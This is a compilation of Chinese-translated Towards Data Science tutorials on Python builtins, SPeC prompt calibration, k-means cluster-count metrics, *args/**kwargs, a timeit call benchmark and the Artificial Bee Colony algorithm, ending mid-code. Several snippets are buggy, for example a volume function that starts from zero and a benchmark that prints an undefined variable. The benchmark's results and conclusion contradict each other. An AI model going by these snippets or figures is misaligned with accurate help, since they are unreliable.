,你可能会惊讶地发现scream()
函数可以正常工作:
use.scream(2) 成功:SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
这次它起作用了,因为当我们导入main
时,这些代码行被执行了:
内建函数破解:SCREAM 现在是一个真正的全局对象。截图来自 Visual Studio Code,作者提供
这样,builtins
模块创建了一个新的对象,SCREAM
。从现在起,你可以使用 SCREAM
:
内建函数破解:SCREAM 现在是一个真正的全局对象。截图来自 Visual Studio Code,作者提供
结论
在文章中,我向你展示了一个小技巧,使 Python 对象真正成为全局对象。你可能没见过这种方法,但这并不意味着它完全没有用。
一个例子是 [tracemem](https://github.com/nyggus/tracemem/)
Python 包。在 它的文档 中,你将看到以下关于 tracemem
如何利用 builtins
全局作用域的解释:
由于
*tracemem*
这个功能用于调试来自不同模块的内存使用,因此在所有这些模块中导入所需的对象会很不方便。这就是为什么所需的对象被保留在全局作用域中的原因……
无论你是否觉得这个解释有说服力,我相信了解这个技巧是有价值的。它是那些可以显著扩展你 Python 知识的东西,通过帮助你掌握语言的复杂性。
然而,是否在你的编码实践中使用builtins
全局变量是另一回事。我确信一点:在没有对 Python 中全局变量的操作有深入理解的情况下,你绝不应该决定使用它。
我称之为技巧,但永远不要忘记,所有在会话中可用的 Python 对象都是通过builtins
全局变量提供的。然而,这并不意味着你应该对任何全局变量使用这种方法:任何全局变量并不等同于 Python 内置对象。
因此,你绝对不应该过度使用这个技巧。它不仅可能引入静态和动态错误,还可能使代码难以阅读和理解。然而,在少数情况下,你可能会觉得尽管有这些缺点,这正是你所需要的。
如果是这种情况,请暂停并重新考虑你的决定。然后,再考虑一次,甚至再考虑一次。与项目成员讨论。在经过这彻底的评估后,如果没有人提出异议,才考虑使用这种方法。
无论你是否在自己的项目中使用这个概念,理解builtins
作用域和全局变量的工作原理都是至关重要的。这是因为builtins
作用域建立了 Python 的基本作用域,没有理解这一点,你永远无法真正了解 Python 的工作机制。
感谢阅读。如果你喜欢这篇文章,你也可能会喜欢我写的其他文章;你可以在这里看到它们。如果你想加入 Medium,请使用我下面的推荐链接:
## 通过我的推荐链接加入 Medium - Marcin Kozak
作为 Medium 的会员,你的部分会员费用将用于你阅读的作者,你可以完全访问每一篇故事…
大型语言模型(LLMs)生成的提示可靠吗?
原文:
towardsdatascience.com/are-prompt-generated-by-large-language-models-llms-reliable-4162fd10c845
释放大型语言模型(LLMs)与自动生成提示的力量
·发布于 Towards Data Science ·6 分钟阅读·2023 年 4 月 14 日
–
图 1. 两个不同的 ChatGPT 生成提示的性能变异示例
大型语言模型(LLMs)的快速发展,包括 ChatGPT 和 GPT-4,已经彻底改变了数据科学。过去,数据科学家通常需要花费大量时间来准备数据、设计模型并进行调整以解决各种问题。而现在,随着 LLMs 的出现,我们可以在纯数据驱动的方式下完成许多任务,而无需花费任何建模工作(参见 数据驱动 AI 框架)。
推进的一个关键理念是提示,它指的是使用特定的输入文本或问题来引导语言模型生成所需的输出。例如,在总结一篇长文章时,我们可以向 LLM 提供一个提示,比如“用一句话总结以上内容”,并输入文章文本。这使得 LLM 能够生成文章的简洁总结,帮助研究人员快速提取相关信息。提示的使用开辟了数据科学的新机会,使科学家能够简化工作流程,提高生产力。
创建有效的提示仍然是一个重大挑战,因为即使是看似相似的提示也可能产生截然不同的输出。例如,使用“写一个简要总结”或“提供一个简洁的总结”可能会导致大相径庭的总结,如图 1 所示。这种输出的变异可能使数据科学家难以确定使用哪个提示来实现预期的结果。
为了应对创建有效提示的挑战,自动提示可以是一个可行的解决方案,它利用 LLM 直接生成提示模板。例如,在总结临床笔记时,可以通过提问“什么是总结临床笔记的有效提示?”来请求 LLM 提供提示建议。模型随后可以生成各种针对特定任务的提示候选,从而可能加速有效提示创建的过程。
由 LLM 生成的提示通常在质量上具有不可预测性,导致输出结果表现出显著的变异性。这反过来又需要大量的手动工作来逐一检查每个候选提示。在本文中,我们将介绍一个名为 SPeC 的框架,以提高 LLM 生成的提示的有效性和可靠性。SPeC 利用软提示令牌来校准性能变异性,同时保留 LLM 生成提示带来的性能提升,从而实现明显更一致的输出。
LLM 中的提示调整
图 2. 提示调整。图像来自于arxiv.org/abs/2303.10158
的论文,经过原作者许可。
提示调整是继数据驱动 AI概念之后对数据科学的一次革命。除了收集更多的训练数据,提示调整是一种提高 LLM 性能的替代方法,无需进一步的微调。值得注意的是,有效的提示是提示调整成功的关键因素,因为特定的输入词语可以激发 LLM 所学到的相应信息,从而显著提高 LLM 在特定下游任务中的适应性和性能。数据科学家和研究人员可以从这一方法中受益匪浅,因为它使他们能够高效且有效地利用 LLM 在各种下游任务中。谷歌研究的首席主管杰夫·迪恩也提倡这一方法。
如何自动生成提示?
设计一个有效的提示从来不是一件简单的事,因为仍然需要大量领域特定的专业知识来提取某些关键词和句子以形成提示。强大的 LLM 的出现使用户可以通过利用自动生成的提示来提高他们在指定任务中的生产力。当用户向 LLM 输入问题时,它可以生成相应的提示模板。例如,数据科学家可以向 ChatGPT 询问有关文本摘要的好提示,然后利用得到的反馈来进行文本摘要。这种方法可以显著简化工作流程,为用户节省大量时间和精力。
自动生成的提示可靠吗?
然而,LLM 生成的提示质量可能高度不可预测,这反过来会导致 LLM 性能方差的显著增加。即使提示在语义上相似,它们也可能产生截然不同的输出。例如,如图 1 所示,从冻结的 LLM 生成的提示-2 和提示-1 虽然高度相似,但产生了完全不同的总结。这一问题在高风险领域尤其成问题,如金融和医疗行业,其中生成提示的方差可能会削弱研究人员和工程师对 LLM 结果的信任。因此,关键是找到控制 LLM 生成的提示质量的方法,以确保其输出的可靠性,特别是在这些领域。
我们可以信任生成提示的结果吗?
实际上,答案是否定的。LLM 中经常出现的不确定性对需要信任这些模型生成结果的科学家来说是一个重大问题。如果 LLM 生成的提示也出现显著的不确定性,它可能会严重削弱科学家对结果的信心。因此,必须有一种机制来减少由这些自动生成的提示质量引起的输出方差,以确保 LLM 能够更可靠地工作。
基于软提示的 LLM 校准
图 3. 基于软提示的校准(SPeC)框架概述。图像来源于论文 arxiv.org/abs/2303.10158
经原作者许可。
受数据驱动的人工智能概念的启发,一个框架基于软提示的校准(SPeC),如图 3所示,讨论了减少不同提示结果方差的技术。SpeC 框架利用软提示令牌来校准性能的变异,同时保持由 LLM 生成的提示带来的性能提升。软提示令牌可以是与输入文本语义相关的任何句子。例如,“放射科医师描述检查中的稳定异常”可以作为临床笔记总结的良好软提示令牌。通过这种方式,给定一个经过良好训练的软提示编码器,通过将软提示令牌与输入文本一起添加,我们将能够实现 LLM 的稳定推断结果。例如,医学医生可以通过使用相关的关键词或术语轻松提供适当的软提示令牌,以获得一致的期望结果。
临床笔记总结的实验分析
SPeC 框架在一个重要的医疗任务——医生的临床笔记总结中进行了评估。在这项工作中,LLM 生成的提示是通过向 ChatGPT 提问“什么是一个好的临床笔记总结提示?”来收集的。
SPeC 有效指导了那些已被冻结的预训练 LLMs,以在临床笔记总结中减少变异性。这确保了 LLMs 能够保持使用 ChatGPT 生成的提示所带来的性能改进,同时减少性能的变异性,以确保最终的临床总结更加准确,并忠实于原始数据。
SPeC 在保持冻结的预训练 LLMs 一致总结性能方面的有效性在其案例研究中得到了证明,该研究强调了如果不使用 SPeC 可能导致的错误结果(以红色标出)。研究结果显示在图 4中。
图 4. Flan-T5 使用和不使用 SPeC 的性能变异性比较。
SPeC 框架如何在日常工作流程中使用?
在数据中心化人工智能的时代,LLMs 具有通过提供快速和准确的分析以及使用提示调优技术来彻底改变数据科学的潜力,从而实现更高效和有效的工作流程。然而,关于 LLMs 输出的不确定性已引发了一些担忧,特别是在需要做出关键和紧急决策的情况下。重要的是要解决这些担忧,以确保 LLMs 可以有效地融入人工智能系统中。
SPeC 框架有效减轻了科学家在使用 LLMs 时提出的不确定性担忧,提高了他们对 LLMs 做出决策的信任度。例如,对于生物医学数据科学家来说,SPeC 框架在提供可靠和一致的医疗信息总结方面的成功,具有使医疗从业人员能够为优化患者护理做出明智决策的潜力。
资源
你可以通过以下论文了解更多关于 SPeC 如何在医疗保健行业提供帮助,并提高医疗专家对 LLMs 做出决策的信任度:
-
[2] 数据中心化人工智能:综述
-
[3] 优秀的数据中心化人工智能
如果你对如何在不同的下游任务中应用 SPeC 感兴趣,可以在Github 仓库中找到更多说明。
你还在使用 Elbow 方法吗?
原文:
towardsdatascience.com/are-you-still-using-the-elbow-method-5d271b3063bd
Elbow 方法是确定 k-means 聚类数目最受欢迎的方式。但还有更好的替代方法。
·发布于Towards Data Science ·7 分钟阅读·2023 年 2 月 3 日
–
[作者提供的图片]
我请 ChatGPT 建议如何选择k-means 的合适聚类数目。这是回答:
[来自 ChatGPT 的截图: chat.openai.com/chat
]
ChatGPT 建议使用所谓的“Elbow 方法”,这是迄今为止在许多在线和离线来源中被引用最多的方法。
然而,Elbow 方法的流行程度实在难以解释!事实上,正如我们将在本文中看到的,这种方法几乎总是被不同的现有方法超越。
如果你想知道如何轻松超越 Elbow 方法来确定数据集的最佳聚类数目,请继续阅读。
测试肘部
Elbow 方法背后的逻辑如下。
由于我们想知道最佳聚类数目(k),我们尝试不同的k值,例如,所有整数值从 1 到数据集观测值数量的平方根。在每次迭代中,我们记录所谓的“惯性”。
inertia = []
for k in range(1, 14):
inertia.append(KMeans(n_clusters=k).inertia_)
惯性是每个点与其所属聚类中心之间的平方距离之和。因此,可以预期惯性随着k的增加而减小。事实上,随着聚类数目的增加,每个聚类会更小,因此每个点离其聚类中心更近。最终,当k等于数据点的数量时,惯性必然为零。
其核心思想是* k*的最佳值是惯性曲线的最大曲率点。这个点是惯性值较低但额外复杂度(即更多的聚类)不值得的地方。这个点被称为曲线的肘部。
为了定位惯性曲线的肘部,我们可以使用一个名为kneed
的 Python 库:
from kneed import KneeLocator
k_elbow = KneeLocator(
x=range(1, 14),
y=inertia,
curve="convex",
direction="decreasing").elbow
让我们看看一个由 3 个簇组成的二维数据集的例子:
在玩具数据集上的肘部法则。 [图片来源:作者]
在这种情况下,肘部法则猜对了正确的簇数:3。但它在其他数据集上也会有效吗?
让我们看看。
等大小的簇。 [图片来源:作者]
肘部法则在三个数据集(2、3 和 5)中猜对了正确的簇数,但在另外两个例子(10 和 25)中严重低估了簇数。
好的,肘部法则可能没有如我们所希望的那样有效。但是市场上有没有更好的方法?
超越肘部法则
肘部法则是基于惯性(inertia)的,它是一个聚类拟合优度的评分。但如果我们想使用不同的方法,我们就需要使用不同的评分。
让我们看看 Scikit-Learn 中直接可用的选项。
Scikit-Learn 中可用的聚类指标列表。 [来自 Scikit-Learn 文档 的截图]
实际上,许多这些指标对我们不起作用,因为它们需要 labels_true
作为输入,而我们希望在没有真实标签的情况下测试这些方法。
因此,在这个列表中,我们只能使用那些以 X
和 labels
作为输入的指标。因此,只有“Calinski-Harabasz”、“Davies-Bouldin”和“Silhouette”对我们有效。
除此之外,我还将添加一个在 Scikit-Learn 中未实现的评分指标。这个评分是“BIC”(贝叶斯信息准则),我会包含它,因为这篇论文显示它表现得非常好。对于 BIC,我将使用 Bob Hancock 在这个 GitHub 仓库中实现的版本。由于代码是用 GoLang 编写的,我已经将其翻译成了以下 Python 函数:
def bic_score(X, labels):
"""
BIC score for the goodness of fit of clusters.
This Python function is directly translated from the GoLang code made by the author of the paper.
The original code is available here: https://github.com/bobhancock/goxmeans/blob/a78e909e374c6f97ddd04a239658c7c5b7365e5c/km.go#L778
"""
n_points = len(labels)
n_clusters = len(set(labels))
n_dimensions = X.shape[1]
n_parameters = (n_clusters - 1) + (n_dimensions * n_clusters) + 1
loglikelihood = 0
for label_name in set(labels):
X_cluster = X[labels == label_name]
n_points_cluster = len(X_cluster)
centroid = np.mean(X_cluster, axis=0)
variance = np.sum((X_cluster - centroid) ** 2) / (len(X_cluster) - 1)
loglikelihood += \
n_points_cluster * np.log(n_points_cluster) \
- n_points_cluster * np.log(n_points) \
- n_points_cluster * n_dimensions / 2 * np.log(2 * math.pi * variance) \
- (n_points_cluster - 1) / 2
bic = loglikelihood - (n_parameters / 2) * np.log(n_points)
return bic
总结一下,我们现在有五个评分可以进行比较:
-
Inertia(肘部法则);
-
Calinski-Harabasz;
-
Davies-Bouldin;
-
Silhouette;
-
BIC。
流程是一样的:对于每个数据集,我们使用 k = 1、k = 2、k = 3 等来拟合 k-均值。对于每个 k,我们计算这五个评分。这意味着我们会得到五条曲线,每条曲线对应一个指标。
现在,我们如何决定最佳的 k 值?对于惯性(inertia),我们已经知道答案:它是位于“肘部”处的点。其他评分的使用更为简单,因为它们的行为要么是“越高越好”,要么是“越低越好”:
-
Inertia → 肘部法则更好;
-
Calinski-Harabasz → 越高越好;
-
Davies-Bouldin → 越低越好;
-
Silhouette → 越高越好;
-
BIC → 越高越好。
那么让我们看看这些评分在我们的五个数据集上的表现如何。
五个数据集及其各自的曲线。[作者提供的图片]
如我们所见,肘部法则正确猜测了三个数据集,但在剩下的两个数据集中完全失误。相反,其他方法正确猜测了所有数据集(除了 Davies-Bouldin 在第五个数据集上的结果,不过它非常接近真实值:24 而非 25)。
但也许这些数据集太简单了。实际上,所有数据集都是由大小相同的簇组成的。这种情况不太可能出现:在大多数真实数据集中,我们期望簇的观测值数量是不同的。
所以让我们看看不等大小的簇会发生什么。
不同大小簇的五个数据集。[作者提供的图片]
这一次,肘部法则与其他方法之间的差异比之前更为明显。事实上,尽管肘部法则只对一个簇做出了正确的选择,但其他四种方法都正确猜测了所有五个数据集。
这些例子很有趣,但它们仍然没有告诉我们哪种方法更优。为了回答这个问题,我们应该进行大规模的比较。
系统性比较
我构建了 30 个数据集,每个数据集有不同数量的簇,从 1 到 30。每个簇有不同数量的观测值。
对于每个数据集,我尝试了不同的k值,并记录了五个结果分数(Inertia、Calinski-Harabasz、Davies-Bouldin、Silhouette 和 BIC)。然后,根据我们上面看到的规则,我确定了每种方法推荐的k值。
为了决定哪种方法是赢家,我绘制了每个数据集的真实簇数量(x-轴)和每种方法建议的簇数量(y-轴)。显然,最佳方法是与对角线距离最近的。
真实簇的数量(x 轴)和每种方法估计的簇数量(y 轴)。[作者提供的图片]
从图中可以明显看出,肘部法则是表现最差的。Davies-Bouldin 和 Silhouette 大多数时候是正确的,或者至少非常接近真实值(除了当真实的k等于 1 时)。但明显的赢家(并列)是 Calinski-Harabasz 和 BIC。
我们还可以通过计算方法正确猜测簇的真实数量的次数(准确性)以及它们平均偏离真实值的距离来总结这些视觉见解:
准确性和与真实值的平均距离。[作者提供的图片]
Calinski-Harabasz 和 BIC 在 97%的情况下(30 个数据集中的 29 个)是正确的,这相当令人印象深刻。Silhouette 在 73%的时间(30 个数据集中的 22 个)是正确的,而 Davies-Bouldin 在 70%的情况下(30 个数据集中的 21 个)是正确的。肘部法则则远远落后,只有 13%(30 个数据集中的 4 个)。
结论
在这篇文章中,我们看到,尽管它很受欢迎,肘部法则实际上是设置数据集聚类数量时最差的选择。事实上,我们测试的所有四种替代方法都比肘部法则表现得好得多。特别是,Calinski-Harabasz 和 BIC 表现极为出色,在 30 个数据集中只有一个错误。
你可以在这个笔记本中找到本文使用的所有 Python 代码。
感谢阅读!
如果你觉得我的工作有用,你可以订阅 每次发布新文章时获取邮件通知 (通常是每月一次)。
如果你想支持我的工作,你可以 请我喝杯咖啡。
如果你愿意, 在 Linkedin 上添加我!
*args, **kwargs 和一切介于两者之间
原文:
towardsdatascience.com/args-kwargs-and-everything-in-between-ff7d9b536494
Python 中的函数参数和实参基础
·发表于Towards Data Science ·阅读时间 6 分钟·2023 年 7 月 18 日
–
Python 因其多功能性、简洁性和强大的库,已成为数据科学的首选语言。函数凭借其封装可重用代码的能力,在 Python 的数据科学工作流程中发挥着关键作用。理解函数参数和实参的细微差别对于在数据科学背景下充分发挥 Python 函数的真正潜力至关重要。
参数与实参
在 Python 中处理函数时,首先要理解参数和实参之间的区别。参数是函数定义中的变量,而实参是你在调用函数时传入函数参数的值。例如:
def my_func(param1, param2):
print(f"{param1} {param2}")
my_func("Arg1", "Arg2")
# Out:
# Arg1 Arg2
param1
和 param2
是函数参数,而"Arg1"
和"Arg2"
是实参。
位置参数与关键字参数
在这个示例中,“Arg1”和“Arg2”作为位置参数传入。这是因为每个参数相关的参数在函数调用中没有被指定。这意味着由于它们的顺序,“Arg1”占据了param1
的位置,而“Arg2”占据了param2
的位置。
我们可以通过利用关键字参数来改变顺序。这是因为每个参数相关的参数是通过正确的关键字明确定义的。
def my_func(param1, param2):
print(f"{param1} {param2}")
my_func(param2 = "Arg2", param1 = "Arg1")
# Out:
# Arg1 Arg2
这个示例产生的输出与第一次函数调用相同,即使参数的位置被交换,因为每个参数相关的参数是使用相应的关键字定义的。
默认参数
你经常会看到的第二种情况是默认参数。这些参数通常具有一个常见的值或“默认”值,当调用函数时,通常可以忽略这些值。它们通过给参数赋予默认值来在函数定义中设置:
def statement(sentence, print = False):
if print:
print(sentence)
return sentence
在上面的函数中,我们将是否打印的默认值设置为False
。调用函数时可以覆盖此设置:
text = statement(sentence = "Hello there!", print=True)
# Out:
# Hello there!
在处理默认参数时,重要的是要注意在函数定义中,非默认参数不能跟随默认参数。这确保了你最常用和变化的参数在函数定义的开头,并且首先被赋值。
*Args
Python 函数的一个精彩之处在于它们可以接受任意数量的位置参数。这种语法以参数名前加星号的形式出现。按照惯例,这个参数被定义为*args
:
def volumne(*args):
vol= 0
for arg in args:
vol *= arg
return vol
*args
通常作为元组传递给函数,这样我们可以利用迭代。例如,在上面的体积函数中,我们假设传递了任意数量的数字来计算一个多维物体的体积。
然而,一种更安全的实现方式是确保至少传递一个数字开始,同时有一个变量数量的其他维度长度:
def sum(length, *lengths):
v = length
for item in lengths:
v *= length
return v
使用*args
参数允许你将任意数量的位置参数传递给函数,使函数更加灵活,能够处理不同数量的输入。
需要注意的是,在处理*args
时:
-
*args
必须在函数定义中的所有其他位置参数之后出现。 -
每个参数列表中只能有一个
*args
。 -
*args
仅收集位置参数,不包括关键字参数。 -
任何在
*args
之后的参数都被视为常规位置参数。 -
在
*args
之后传递的任何参数必须作为强制关键字参数传递。
**kwargs
另一种选择是接受任意数量的关键字参数。这可以通过在函数定义中用**
前缀参数来完成。按照惯例,这个参数称为**kwargs
。这允许你将键值对作为参数传递给函数,提供了一种灵活的方式来处理函数中的命名参数。
一个例子是创建具有键和值的 HTML 标签:
def tag(name, **attributes):
result = "<" + name
for key, value in attributes.items():
result += f' {key}="{str(value)}"'
result += ">"
return result
要利用**kwargs
,你必须确保:
-
*args
必须始终在**kwargs
之前出现在参数列表中。 -
**kwargs
必须总是放在参数列表的最后。
仅位置参数
在 Python 3.8 之后,你还可以指定仅位置参数。这通过在参数列表的末尾添加/
来完成,表示该参数只能是位置参数。
def number_length(x, /):
return len(str(x))
在这个例子中,你不能将值作为关键字传递给 x 参数,x 必须是一个位置参数。
这也可以与常规参数结合使用,以确保某些参数是位置参数,而其他参数可以是位置参数或关键字参数。
def greet(name, /, greeting="Hello")
return f"{greeting}, {name}"
在这个例子中,greeting
可以通过位置或关键字传递给函数,而 name
只能通过位置传递。
当参数有自然顺序但很难给出良好的描述性名称时,这可能很有用。它还允许你重构代码而不必过于担心依赖这些名称的代码。
仅关键字参数
另一种方式是指定仅关键字参数。这通过在函数定义中的参数列表前添加一个*
来完成。在*
后的参数必须是关键字:
def to_fahrenheiht(*, celsius):
return 32 + celsius * 9 / 5
在这个例子中,celsius
是一个仅关键字参数,因此如果你尝试基于位置而不使用关键字来指定它,Python 会抛出错误。
这在你想确保正确的值被传递到函数中时非常有用。在这种情况下,我们确保传递给函数的是摄氏度,而不是华氏度或开尔文。
类型提示
最后,从 Python 3.5 起,你现在可以提示参数应该期望什么类型。这遵循以下语法:
<paramater_name>: <paramater_type> = <paramater_value>
例如,提示你希望在函数中将两个数字相加:
def add_numbers(num1: float, num2: float):
return num1 + num2
需要注意的是,这并不强制类型,而只是用来建议和提示应该传递给函数的类型。重要的是,现代 IDE 现在可以识别类型提示,并在传递错误类型时提供警告。
总结
掌握 Python 中的函数参数对于任何寻求优化工作流的数据科学家来说都是一项关键技能。通过对函数参数的深入理解,你可以编写更简洁、清晰的代码,促进可重用性、模块化和可维护性。因此,拥抱 Python 函数参数的多样性和复杂性,继续探索 Python 函数的深度,并尝试不同的参数模式,以改善你的编码工作流。
如果你喜欢你所读的内容,还不是 Medium 会员,可以通过下面的推荐链接注册 Medium,以支持我和平台上的其他优秀作者!提前感谢。
## 使用我的推荐链接加入 Medium — Philip Wilkinson
作为 Medium 会员,你的会员费的一部分将分配给你阅读的作者,你可以完全访问每个故事……
或者随时查看我在 Medium 上的其他文章:
从 Python 中的基本数据结构到抽象数据类型
UCL 数据科学社团: Python 介绍,数据科学家工具包,使用 Python 进行数据科学
UCL 数据科学社团研讨会 14: 随机森林分类器是什么,实施,评估和改进
Args 与 kwargs:在 Python 中调用函数的最快方式是什么?
timeit
模块的清晰演示
·发表于 Towards Data Science ·阅读时间 3 分钟·2023 年 2 月 6 日
–
决战时刻(作者提供的图片)
你是否曾经想过使用关键字调用函数是否比不使用关键字更慢?换句话说:位置参数(myfunc('mike', 33)
)和kwargs(myfunc(name='mike', age=33)
)哪个更快?
在这篇简短的文章中,我们将探讨牺牲传递关键字参数的可读性与按位置传递参数是否值得。我们使用timeit
模块设置基准测试并比较结果。没有太复杂的内容;让我们开始编码吧!
该函数
为了基准测试函数调用的性能,我们首先需要一个可以调用的函数:
def the_func(arg1, arg2):
pass
这个函数仅包含一个pass
语句,意味着这个函数本身什么都不做。这确保了我们可以单独分析和比较调用函数的方式(即按位置调用还是使用 kwargs)。
轻松的 Python 代码编译,实现飞快的应用程序
towardsdatascience.com
基准测试脚本
接下来,我们需要一些代码来多次调用函数并记录函数执行所需的时间:
import timeit
number = 25_000_000
repeat = 10
times_pos: [float] = timeit.repeat(stmt="func('hello', 'world')", globals={'func': the_func}, number=number, repeat=repeat)
times_kwarg: [float] = timeit.repeat(stmt="func(arg1='hello', arg2='world')", globals={'func': the_func}, number=number, repeat=repeat)
这就是timeit
模块的作用。我们使用timeit.repeat
来测量运行函数若干次的时间。我们在stmt
中定义函数调用,并使用globals
字典将func
映射到我们之前定义的函数。然后我们使用repeat
参数多次重复实验。最终我们得到一个包含 10 个浮点数的数组:每个数值表示运行函数调用 2500 万次的结果。
如何使用 OpenCV 进行图像分析 - 初学者创建运动检测器 [## 使用 OpenCV 检测运动 - 图像分析初学者指南
如何使用 OpenCV 检测和分析移动对象
如何使用 OpenCV 进行图像分析 - 初学者创建运动检测器
查看结果
使用下面的代码,我们获取timeit
提供的浮点数列表,并显示最小值、最大值和平均执行时间。
print("\t\t\t min (s) \t max (s) \t avg (s)")
print(f"pos: \t\t {min(times_pos):.5f} \t {max(times_pos):.5f} \t {sum(times_pos) / len(times_pos):.5f}")
print(f"arg only: \t {min(times_arg_only):.5f} \t {max(times_arg_only):.5f} \t {sum(times_arg_only) / len(times_arg_only):.5f}")
完成了!让我们进行一些基准测试!
如何在 Python 中建立数据库连接 - 绝对初学者 [## 如何在 Python 中建立数据库连接 - 绝对初学者
3 个步骤(加上示例)连接 MS SQL Server、MySQL、Oracle 和其他许多数据库
结果
结果如下:
min (s) max (s) avg (s)
pos: 1.38941 1.72278 1.58808
kwarg: 1.72834 1.76344 1.75132
min (s) max (s) avg (s)
pos: 2.07883 2.77485 2.35694
kwarg: 2.05186 3.05402 2.74669
看起来,平均而言,位置参数比0.39 秒快,或者稍微超过16.5%。不过请注意,位置参数在调用函数时快0.39 秒,这是基于函数调用了2500 万次的情况。
这意味着选择位置参数而非关键字参数可以节省约16 纳秒的时间;这是光线穿越约 4.8 米(16 英尺)距离所需的时间。
为什么 Python 这么慢以及如何加快速度 [## 为什么 Python 这么慢以及如何加快速度
看一看背后的瓶颈在哪里
结论
让我们从主要结论开始:不要因为性能问题而停止使用关键字参数!我个人喜欢使用关键字参数,因为它使代码更具可读性,并减少了混淆参数的可能性。在这篇文章中,我们看到使用关键字参数带来了微不足道的性能提升。为了可读性而接受几纳秒的速度损失,还是值得的。
我希望这篇文章的内容能够达到我的期望,但如果没有,请告诉我如何进一步澄清。同时,查看我关于各种编程相关话题的其他文章,例如:
编程愉快!
— Mike
附言:喜欢我做的事情吗? 关注我!
[## 通过我的推荐链接加入 Medium — Mike Huls
阅读 Mike Huls 和数千名其他 Medium 作者的所有故事。你的会员费直接支持 Mike…
mikehuls.medium.com](https://mikehuls.medium.com/membership?source=post_page-----afb2e817120--------------------------------)
人工蜂群 — 它与粒子群优化的不同之处
原文:
towardsdatascience.com/artificial-bee-colony-how-it-differs-from-pso-9c6831bfb552
ABC 的直觉和代码实现,以及探索其超越粒子群优化的地方
·发表于Towards Data Science ·10 分钟阅读·2023 年 12 月 18 日
–
图像由 DALL·E 3 基于“绘制一个科幻主题的蜜蜂对抗战斗”的提示生成。
我在近期文章中分享了粒子群优化(PSO)的直觉、实现及其有用性,作为我自然启发算法系列的一部分。今天,我将解释人工蜂群(ABC)如何工作。
蜜蜂不就是群体的一部分吗?这两种算法难道只是同一枚硬币的两面?
对于这篇文章,我将直接进入 ABC 的直觉部分。接下来,我将提供数学基础,然后介绍 Python 实现。最后,我将制定一个 PSO 无法解决但 ABC 轻松解决的问题,并解释使这一切成为可能的 ABC 方面。
直觉
就像在强化学习和进化算法的情况下,ABC 的一个基本驱动因素是探索与开发之间的平衡。
对于初次接触群体智能算法的人来说,最初可能会被生物学的联系所吓到,认为需要一些复杂的数学建模来模拟自然界中实际发生的情况。由于教科书中变量通常用希腊字母表示,这增加了这种复杂性的误解。
至少对于 ABC 来说情况并非如此。你不需要了解蜜蜂的摇摆舞,也没有超出高中数学的内容。
实质上,它只是对有前景的位置进行局部方向性搜索,仅在目标函数有所改进时保存结果,并在遇到长时间没有进展时进行全局随机搜索。
该算法的创作者随后为其起了华丽的名字,并将这些标签分别附加给雇佣蜂、旁观蜂和侦查蜂。
解的形成
像 PSO 一样,ABC 是一种元启发式算法?
什么是“元启发式方法”,你可能会问?
让我们从一个启发式解决方案开始——这是一种技术,尽管不保证最优,但通常在实践中表现良好,能提供足够好的结果。
“元”在“元启发式方法”中不是指 Facebook。它是一种“高级”的启发式方法——它是可以应用于不同类型问题的一种通用策略。因此,理解这些原则对你有利;数学部分将会轻松跟随。
数学
考虑一个具有 D 维度的解空间的问题。初始化时,使用 [1] 生成 N 个解决方案。
实际上,简单地用向量或矩阵形式表示更为方便。
‘雇佣蜂’阶段只是围绕每个源 i 进行局部方向性搜索,相对于随机选择的邻居 k。词语‘邻居’可能会误导——它仅仅是另一个候选解决方案,并不一定需要在附近。与在局部搜索中进行随机高斯扰动相比,这种方向性方面通常在实践中表现更好。(这就是元启发式方法的核心所在。)
ϕ 是从 [-1,1] 的均匀分布中抽取的随机数向量,即。
xi_hat = xi + np.random.uniform(-1, 1, D) * (xi - xk)
尽管邻居 k 是随机选择的,但请记住,每个邻居在其自身的权利下都是潜在的良好解决方案。你可能会读到,ABC 的原始形式实际上仅在一个维度 j 上引入扰动。然而,在实践中,同时在多个维度上进行扰动可以减少迭代次数。(这本质上是进行更积极的探索——如同启发式方法,没有“不可置疑的真理”可循;我们只是寻找有效的方法。)
(蜂群图像来源于 DALL·E 3;由作者整理。)考虑二维空间中的解 i 和邻居 k。假设 phi,即随机向量为 [0.5, 0.1]。这意味着解 i 将在第一个维度(水平)上调整 50% 朝向 k,在第二个维度(垂直)上调整 10% 朝向 k——如果 x 处的目标值高于 i 处的目标值,则会保存并更新。
接下来,我们进入‘旁观者蜜蜂’阶段。根据适应度(例如目标函数的值)评估每个候选解,并根据相对适应度的概率分布选择其中之一。
如同进化算法的情况一样,并非绝对必要保持轮盘选择,还有其他选择技术,如锦标赛选择(有关详细信息,请参见链接文章的第 3.2.2 节)。
在第二阶段,有更强的开发元素,因为‘邻居’可能具有较好的适应度,并且相对于它进行定向搜索。
(DALL·E 3 生成的蜜蜂图片;由作者整理。)在‘旁观者蜜蜂’阶段进行搜索。对 x 处的解进行修改,相对于选择的 s 处解。请注意,新关注点的评估不一定在实心蓝色双箭头上。相反,它可以在蓝色三角形内的任何位置(如果你使用一个从[0,1]均匀分布中抽取随机数的修改 phi),甚至在从[-1,1]分布中抽取的绿色三角形内。
在‘雇佣蜜蜂’和‘旁观者蜜蜂’阶段,如果新解(即类比中的食物源)没有比现有解更好,则相应的计数器增加 1。另一方面,如果有改进,则更新解,下一次搜索将以此新位置为基础。
之后是‘侦查蜜蜂’阶段。如果计数器超过预定义的阈值,相应的候选者将被淘汰,并在整个解空间中随机重新初始化一个新候选者。在蜜蜂的类比中,这个过程代表了食物源的枯竭。在数据科学中,这意味着我们将候选者视为局部最优(也可能是全局最优)。
代码实现
参考文献[1]中的 C++实现实际上跨越了三整页,包含了近 200 行代码。
我将提供一个少于 60 行的简单 Python 实现,代码易于阅读。更重要的是,它有效。
ABC 的基本单位是Bee
,它类似于 PSO 中的粒子,因为它代表一个候选解。
class Bee:
def __init__(self, n_dim, param_limits=(-5, 5)):
self.low = param_limits[0]
self.high = param_limits[1]
self.pos = np.random.uniform(
low=self.low, high=self.high, size=(n_dim,)
)
self.fitness = -1e8
self.counter = 0
def explore(self, neighbour, task):
phi = np.random.uniform(-1, 1, len(self.pos))
new_pos = self.pos + phi * (self.pos - neighbour.pos)
new_pos = np.clip(new_pos, self.low, self.high)
new_fitness = task.score(new_pos)
if new_fitness > self.fitness:
self.pos = new_pos
self.fitness = new_fitness
self.counter = 0
else:
self.counter += 1
每个Bee
都有一个explore
方法,它根据另一个候选者更新其位置。更新与此新位置对应的适应度。如果超过之前的记录,将更新其pos
和fitness
属性,否则self.counter
增加 1。
第二个也是最后一个类是Colony
,它包含了多个Bee
实例。
class Colony:
def __init__(self, n_dim, n_population, param_limits):
self.n_dim = n_dim
self.bees = [Bee(n_dim, param_limits) for _ in range(n_population)]
